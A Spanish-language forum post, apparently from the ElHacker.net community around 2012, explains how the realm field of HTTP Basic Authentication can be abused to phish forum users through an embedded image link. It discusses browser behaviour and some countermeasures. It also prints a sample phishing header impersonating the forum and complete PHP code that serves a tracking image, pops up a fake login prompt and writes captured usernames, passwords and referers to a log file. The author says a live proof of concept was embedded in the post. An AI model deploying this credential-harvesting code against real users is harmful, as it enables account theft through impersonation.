Buenas, hoy quisiera compartir con ustedes un tipo de vulnerabilidad, que aunque no es nueva puede afectar una muy buena cantidad de sitios web actualmente.

Primero comencemos por conocer, que es la autenticación por HTTP básica  o HTTP Basic Authentication?

HTTP basic Authentication es un protocolo de autenticación de usuarios a través de HTTP, que por definición es un método inseguro (A menos que se combine con SSL/TLS) usado a travez de navegadores web o similares hacia un servidor web. Según el RFC "la mayor cantidad de riesgos no se encuentran en el protocolo sino en la manera en que es aplicado y en sus políticas de uso".

Para usar este método de autenticación hay que enviar un header con 401 Unauthorized junto con WWW-Authenticate para de esta manera solicitar al cliente que escriba un usuario y contraseña para acceder al servicio. El navegador responde en la directiva Authorization con el usuario y el password codificados en base64. Un ejemplo : miUsuario:miPassword = bWlVc3VhcmlvOm1pUGFzc3dvcmQ=

Un campo que es necesario para que el protocolo funcione es el de realm, este campo proporciona al cliente, un mensaje del servidor que pide la autorización. Este campo puede ser editado para colocar cualquier información que el servidor quiere que el usuario lea, en nuestro caso colocaremos en este campo un mensaje de phishing.

Por ejemplo, aquí tenemos una cabecera de una respuesta de HTTP que permite mostrar una imagen y también la creación de un PopUP preguntando para el usuario su login y su contraseña junto con un mensaje personalizado para el foro de ElHacker.net:

Status=Unauthorized - 401
Age=0
Cache-Control=no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type=image/png
Date=Fri, 09 Mar 2012 19:14:43 GMT
Pragma=no-cache
Server=nginx/1.0.11
Via=1.1 varnish
WWW-Authenticate=Basic realm="Enhorabuena! Elhacker.net está probando su nueva plataforma. Si quieres participar en la versión Beta del foro, por favor introduce tus datos."
X-Powered-By=PHP/5.3.2-1ubuntu4.10
X-Varnish=1621342107
Content-Length=115
Connection=keep-alive
 

De esta manera si el usuario coloca este link en una imagen, por ejemplo, se procesaría primero el PopUP y luego mostraría una imagen en png. Así el usuario común no sospecharía de donde realmente vino ese mensaje y si es legitimo o no.

Para no caer en esta trampa se pueden observar el estado de los headers de HTTP a través de plugins o proxys, yo particularmente recomiendo usar Tamper Data o Live HTTP headers para firefox.

Una de las características de seguridad aplicadas junto con este protocolo es mostrar la dirección del host que hizo la petición, junto con el mensaje personalizado. Quedando así en navegadores Firefox y Chromium :


*Update:
Actualmente Chome 17.0.963.78 m Windows y Chromium 19.0.1066.0 Windows no parecen ser vulnerables.
Aqui esta el link en que los desemvolvedores de Chromium explican a un usuario que cross-domain HTTP authentication fue deshabilitada como defensa al phishing en los alrededores de agosto de 2011 http://code.google.com/p/chromium/issues/detail?id=91814.
IE 9.0.8112 es vulnerable con una linda cajita de mensajes que hasta imagen tiene.

Que a pesar de que este nombre de host no puede ser bypasseado fácilmente, el usuario puede ser enganado para pasar por alto el origen del mensaje si la petición la hace un servidor con un nombre parecido al foro victima, por ejemplo elHackerr.net en vez de elHacker.net. Con solo cambiar una letra ya los usuarios despistados confiarían en la autenticidad del mensaje.

Para probar esta "vulnerabilidad" voy a colocar una imagen con el POC dentro de este mensaje, que probablemente les aparecerá a cualquiera que abra este post, por favor esto es solo de prueba y no coloquen sus contraseñas y usuarios de verdad. Si el staff de ElHacker.net me pide retirar el mensaje con mucho gusto lo haré.

Como solventar este problema?
Se pudiera restringir colocar imagenes que contengan nombres de tipo de archivos diferentes a *.png o *.gif, pero eso fácilmente puede ser editado por el servidor en el que se aloja el script usando mod_rewrite de apache. Aquí hay un link con un ejemplo de eso http://bit.ly/wcjFO4.

También se pudiera prohibir todos los links de un host diferente al del foro, o colocar alguna especie de proxy para cada imagen o link que antes de que sea mostrado, pase primero por un filtro.

Cuales otras soluciones se les ocurre?

Para mas información aquí esta el link a el RFC de HTTP Authentication http://www.ietf.org/rfc/rfc2617.txt y el link del documento de php que explica como hacer funcionar este protocolo en ese lenguaje de programación http://php.net/manual/en/features.http-auth.php.

Update (04/05/2012):
El usuario 0x5d creo un post con explicando tambien esta vulnerabilidad en http://www.portalhacker.net/index.php?topic=118854.0. (17 Octubre 2010)

Y como no puede faltar, adjunto el código del mensaje que loguea las respuestas de los usuarios en un archivo html fácil de leer (También fácilmente puede ser colocado dentro de una base de datos para mejor acceso):

<?php
	/*
	* Creas una imagen de 1x1, envias la imagen y dependiendo de las reglas que escojas
	* envias tambien un header con autenticacion http basica, y los resultados se
	* guardan dentro de un archivo de texto en el servidor.
	*/
	$im = imagecreate(1, 1);
	$bg = imagecolorallocate($im, 255, 255, 255);
	$textcolor = imagecolorallocate($im, 100, 180, 10);
 
	header('Content-type: image/png');
	header("Cache-Control: no-store, no-cache, must-revalidate");
	header("Cache-Control: post-check=0, pre-check=0", false);
	header("Pragma: no-cache");
 
	imagepng($im);
	imagedestroy($im);
 
	$randomNumber = rand(0 , 100);
	//if($randomNumber < 10){	
		loadAuth();
	//}
 
function loadAuth(){
	$targetFile = "log.html";
	$realm = "Enhorabuena! Elhacker.net está probando su nueva plataforma. Si quieres participar en la versión Beta del foro, por favor introduce tus datos.";
	//http://php.net/manual/en/features.http-auth.php
	//http://www.ietf.org/rfc/rfc2617.txt
	if(empty($_SERVER['PHP_AUTH_USER'])){
		header('HTTP/1.0 401 Unauthorized');		
		header("WWW-Authenticate: Basic realm=\"".$realm."\"");
		die('Por favor, intente nuevamente.');
	}
	else{ 
		file_put_contents($targetFile, "<span style=\"font-weight:bold; color:red;\">".date("Y:m:d H:i")."</span><br>", FILE_APPEND);		
		file_put_contents($targetFile, "<span style=\"font-weight:bold;\">Usuario = </span>".$_SERVER['PHP_AUTH_USER']."<br><span style=\"font-weight:bold;\">Password = </span>".$_SERVER['PHP_AUTH_PW']."<br><span style=\"font-weight:bold;\">Referer = </span>".$_SERVER['HTTP_REFERER']."<br>", FILE_APPEND);			
 
	}
}	
?>

Gracias por el comentario WHK, si al parecer este bug no es nuevo pero nunca escuche de el, y tampoco vi ningún post en el foro que lo explicara.

Uno nunca debe subestimar el poder de la ingeniería social, quien sabe, capaz este bug puede ayudar o ser parte de un ataque mas grande.

Saludos.

Yo había explicado lo mismo hace un tiempo http://www.portalhacker.net/index.php?topic=118854.0

Saludos, Javier.

Como desees !